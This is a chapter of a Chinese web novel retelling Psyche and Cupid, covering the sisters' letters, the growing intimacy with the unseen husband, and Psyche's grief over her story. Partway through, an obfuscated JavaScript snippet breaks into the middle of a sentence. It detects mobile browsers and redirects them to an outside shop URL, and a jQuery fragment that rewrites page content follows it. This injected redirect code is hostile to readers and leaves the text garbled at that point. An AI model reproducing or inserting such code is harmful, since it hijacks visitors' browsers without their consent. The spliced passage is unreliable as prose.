普绪克享受了一会儿阳光的温度和风里的花香,又回到泥板室去刻写她的故事。 直到天色渐暗,艾洛尔不得不回花园休息,心里嘀咕着都三天没有看见丘比特了,一直没机会把普绪克看不见的事情告诉他。 “咦?”艾洛尔狠狠敲打自己的小脑袋,小声嘀咕,“我居然忘记了这么重要的事情,丘……他不愿意被普绪克看到,白天当然不回来了。” 艾洛尔问普绪克:“普绪克,你有告诉主人,你的眼睛又看不见了吗?” “没有。”普绪克停下刻写的动作,说,“这样显而易见的事情,我想,他应该很容易就知道的。” 怪物丈夫对她的从前很了解,无论是失明多年,还是寻找光明的考验,又或者是能够看见的那两年。却对现在近在咫尺的她完全不了解,因为不想被她看到,同样也无法看到她。 而普绪克正好相反,她对怪物的从前一无所知,没有任何有关他的事迹信息,只能依靠现在的相处去了解他,他的善良与温柔,他的爱意与隐瞒。 “你说的也有道理。”艾洛尔想了想点头认同,自己的伴侣能否看见应该是很好辨别的呀。 艾洛尔在日落之前先将普绪克送回了寝殿,随后从阳台飞回到花园去休息。 夜色降临,普绪克坐在床沿等候怪物丈夫的归来。 因为在等,所以格外希望他能够快些回来。 一阵翅膀扇动的声音靠近,一股风从阳台吹来,带来的不仅仅是外面晒了一天的干燥,还有他身上沾到外界的气息。 “普绪克,我回来了。”丘比特又带了一些东西回来,他匆忙将东西放在桌上便走近与等待的妻子拥抱。 等到了,心里就安定了不少,普绪克也伸出双手与他拥抱,手摸索在他的背部和翅膀上。 似乎没有受伤,羽毛十分柔顺光滑。 丘比特感受到她手的触碰,笑着解释说:“我今天没有受伤,绝对不是隐瞒你。”因为今天没有去见任何的神,他去了两个不同的国家。 他扶着普绪克往矮桌走,说:“我给你带来了两位姐姐的家书。” “姐姐们写给我的家书?”普绪克听后十分激动高兴,在矮桌上摸到两个巴掌大的黏土板,她直接摸索到落款的位置,有一个圆形的纹章印记。这是只有贵族才会制作的东西,纹章代表了身份与地位,明确来信者是谁,也是不可伪造的证明。 大姐嫁给了皮洛斯王国的国王,二姐嫁给了底比斯王国的王子,尽管两个王国与迈锡尼是联邦同盟,距离上也不算特别远,但成为王后王妃的姐姐们再也没有回过家,只能以家书往来。 她们为普绪克能够得到神的恩赐而感激,为她双眼能够看见而喜悦,当她们最疼爱的小妹被神罚嫁给一个怪物的消息传进耳中,不知该如何悲痛。 普绪克摸索着大姐家书,或许是顾忌到家书会被怪物也看见,上面只简单写了一些想念小妹的话语,以及近乎客套地陈述自己的生活,委婉地说神的降罪也要当成恩赐,或许一切都是最好的安排。 二姐的家书也是写了几句思念妹妹的话语,以及自己的近况,但二姐对妹妹嫁给怪物一事充满了愤怒,为她的遭遇感到不公。 普绪克高兴地反复摸索家书,这些黏土板是她与外界联通的桥梁,让接受神罚的她,世界不再只有这个宫殿大小。 丘比特从背后拥着普绪克,微微弯腰将脑袋搁在她的肩膀上,轻声说:“如果想要回信的话,你随时写好了黏土板都可以交给我。” “想!我想要回信!”普绪克转身抱住丘比特,无比喜悦地说,“我感谢你,非常感谢你!” 妻子的喜悦也让丘比特感到高兴,心里特别舒适,他看向矮桌上另一个带回来的东西,带着几分笑意犹豫地说:“普绪克,我还带回来了一尊丘比特的神像,我会将他放到没有光线的内室,这样你能按照约定每天都供奉,我也不必担心在这会看到爱神的石像。” “感谢你的理解。”普绪克心头一软,经过那个碎石房间的误会后,他竟还记得她提出的请求并去完成。 她更靠近了一些,依偎在他的胸膛,他对她的理解,和她每天相处后对他的了解,这种看似平淡的小事都让她感到安心。感到安心时,心跳却会变快。 在普绪克道谢之后的两人陷入了一段时间的沉默,静谧的夜晚,紧紧的拥抱,莫名感觉在升高的温度。 “普绪克……”丘比特开口,想要请求一个亲吻。 “嗯……”普绪克已经猜到他的想法,轻声应下。 亲吻彼此真是一件奇怪的事情,非但无法抚慰狂跳不已的心和平攀升的温度,反而让一切变得更混乱,让头脑也无法清晰思考。这样糟糕的事情,偏偏有着无比的吸引力,令人沉沦其中。 他们拥抱在一起,摔在柔软的床上,再一次亲得气喘吁吁,直到亲累了才停下。 在之后的一段时间里,普绪克和怪物丈夫的关系基本都是这样,她白天就在泥板室里刻写故事或者给姐姐们回信,晚上的时候就将写好的家书交给怪物,他说会请西风之神帮忙送去。 普绪克疑惑问,为什么西风之神愿意帮忙呢?她以为仄费罗斯只是听从天神的命令将她送来这里而已。怪物丈夫说,因为他从前和仄费罗斯是朋友。 普绪克更疑惑了,她阅读过的记载里不曾提到西风之神有过一个被神罚变成怪物的人。或许是自己阅读的黏土板还不够多,泥板室里的确有一些陌生的传说故事记载。 夜晚,他们拥抱亲吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397228|200262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起,也渐渐地不再是沉默亲吻,亲吻变成了一个习惯,他们开始讲述彼此白天的见闻。 普绪克会说自己读了哪些故事,黏土板刻写了多少,以及小管家们的一些争执玩笑的小事。 怪物丈夫会一边听她说传说故事,然后补充一些从未被记载或者流传的细节,就好像他曾经是那些事件的经历者。 从这不算窥探从前的言语里,普绪克试图拼凑出有关他的信息,仍旧一无所获。 她对怪物丈夫的触碰与试探也越来越大胆,拥抱时会比划他腰的宽窄,有时会描摹胸膛的模样。也有时会触碰到臀与腿,怪物丈夫就会难耐地笑着说:“普绪克,你又挠我痒痒。” 然后他就以同样的方式回击,两人像是打打闹闹的嬉笑,可总会陷入更古怪灼热的氛围里,只能以牢牢抱着对方狠狠亲吻收场。 有时候怪物丈夫也会主动讲述他白天去了哪些地方,又听到一些有关天神们的新鲜传闻。有时候也会去迈锡尼看看国王王后的近况告诉她,或者带来两位姐姐的家书与带去回信。 普绪克过了一段还算充实安心的日子。 这一天,在泥板室里的普绪克在黏土板上刻写下最后一句话。 ——她向光明神献上金箭,终于能够看到这个色彩缤纷的世界。 普绪克刻写完了故事的上篇,她充满喜悦地整理好几块黏土板,然后捏出一块新的黏土板准备开始刻写后来的故事。 手无法落笔,灵魂在抗拒后续的发展,笔刀陡然掉落,在写完了自己得到光明的故事后的她突然崩溃大哭。 她从心底不认同自己得到神罚,不认同想要拒绝金箭导致的相爱只能放弃光明。 即使这个怪物出乎意料地善良、温柔,她也不得不承认的确对怪物动了心,可这一切原本都不该发生。 她的每一笔刻写都带着自己重新经历了一遍那场冒险,重新体会了一遍那种喜悦,故事里的美丽公主停留在最高兴的时刻,她已不忍心落笔将神罚降下。 “普绪克,普绪克。”普绪克呼唤着自己的名字,手在黏土板上摩挲,“为什么天神如此吝啬,只因一句言语就降下神罚。你又为什么必须感激,所有人都是如此虔诚地感恩罪罚……高贵的国王也要感激,神明让他失去了女儿。” 当她将这段引以为傲的经历与自身分割,停止记录故事的后续发展,泥板室就只是一个阅读的地方。 一股巨大无比的空虚感将她包裹,她跌入迷茫的漩涡。 “在此之后,我又能做些什么呢……我哪也去不了。”普绪克捂着脸哭泣,她只能在这个无法离开的宫殿里,等待怪物丈夫短暂的陪伴,等待由他带来外界的消息。 小管家艾洛尔被她的哭声所感染,不由泪汪汪地问:“普绪克,发生什么事了?你为什么这么伤心?” 普绪克捂着脸不断哭泣,说:“我本可以忍受黑暗……如果我从来没有得到过光明……” 无数个日夜当做寻常,只是不去回忆,不去对比,不去在意。 普绪克将已经刻写好的黏土板高高举起,如果不舍得向故事里美丽的公主降下神罚,却也不是她的故事了。 她砸掉了黏土板,又开始重新制作全新的黏土板。 她安慰艾洛尔说:“艾洛尔,我很好,只是,我得给自己找点事情做。我想重新刻写,一直这样,直到哪天我愿意对公主降下神罚。” 艾洛尔听不懂话里的意思,只知道太阳又将下山,得回花园休息了。 普绪克擦掉眼泪,也摸索着回到了寝殿。 她摸索到寝殿内室的门,怪物丈夫说爱神的神像就被放在内室里。 她没有进门,只跪在门前,双手十指交错在胸前,和从前一样祷告道:“美丽善良的爱神丘比特,感谢您恩赐的考验,每一天我都将无比珍惜这个世界。” 不仅仅是感激爱神,她也感激光明神,还有无数的神。 “感谢神明的仁慈,饶恕我无知的罪孽,让我能够有机会赎罪。我真心接受神罚,余生在此和怪物相爱。” 交错的十指却无比用力抓着自己的手背,掐住深深的血印。